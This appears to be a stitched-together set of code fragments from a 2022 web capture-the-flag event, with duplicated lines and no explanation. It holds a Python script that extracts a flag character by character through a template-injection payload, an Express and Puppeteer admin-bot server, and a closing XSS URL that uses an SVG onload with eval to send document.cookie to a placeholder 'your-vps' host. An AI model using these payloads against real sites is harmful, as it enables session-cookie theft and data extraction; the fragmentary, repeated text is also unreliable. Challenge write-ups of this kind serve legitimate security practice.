const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)

const url = `http://localhost:${private1Port}${path}`
const parsedUrl = new URL(url)

import re
import requests as req
from string import ascii_letters, digits, printable


d = 0
if d:
    url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
    proxies = {
        "http"  : 'http://127.0.0.1:8080',
        "https" : 'https://127.0.0.1:8080'
    }
else:
    url = 'https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/'
    proxies = {}

canary = 'test'
charset = printable[:-6].replace(",", "").replace("/", "")
flag = "wsc"
while not flag.endswith("}"):
    for _ in charset:
        tmp = flag + _
        payload = f'{{% if(flag=~/^{re.escape(tmp)}/) %}}{canary}{{% endif %}}'
        if d : print(payload)
        res = req.get(url+f'submit?name={req.utils.quote(payload)}', proxies=proxies)
        if "test" in res.text:
            flag += _
            print(flag.replace("\\", ""))
            break

const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')

const app = express()
const port = 3000

app.use(express.static(__dirname + '/webapp'))

const visitUrl = async (url, cookieDomain) => {
    let browser =
            await puppeteer.launch({
                headless: true,
                pipe: true,
                dumpio: true,
                ignoreHTTPSErrors: true,
                args: [
                    '--incognito',
                    '--no-sandbox',
                    '--disable-gpu',
                    '--disable-software-rasterizer',
                    '--disable-dev-shm-usage',
                ]
            })

    try {
        const ctx = await browser.createIncognitoBrowserContext()
        const page = await ctx.newPage()

        try {
            await page.setCookie({
                name: 'flag',
                value: process.env.FLAG,
                domain: cookieDomain,
                httpOnly: false,
                samesite: 'strict'
            })
            await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
        } finally {
            await page.close()
            await ctx.close()
        }
    }
    finally {
        browser.close()
    }
}

app.get('/visit', async (req, res) => {
    const url = req.query.url
    console.log('received url: ', url)

    let parsedURL
    try {
        parsedURL = new URL(url)
    }
    catch (e) {
        res.send(escape(e.message))
        return
    }

    if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
        res.send('Please provide a URL with the http or https protocol.')
        return
    }

    if (parsedURL.hostname !== req.hostname) {
        res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
        return
    }

    try {
        console.log('visiting url: ', url)
        await visitUrl(url, req.hostname)
        res.send('Our admin bot has visited your URL!')
    } catch (e) {
        console.log('error visiting: ', url, ', ', e.message)
        res.send('Error visiting your URL: ' + escape(e.message))
    } finally {
        console.log('done visiting url: ', url)
    }

})

app.listen(port, async () => {
    console.log(`Listening on ${port}`)
})

if (parsedURL.hostname !== req.hostname) {
        res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)
        return
    }

https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie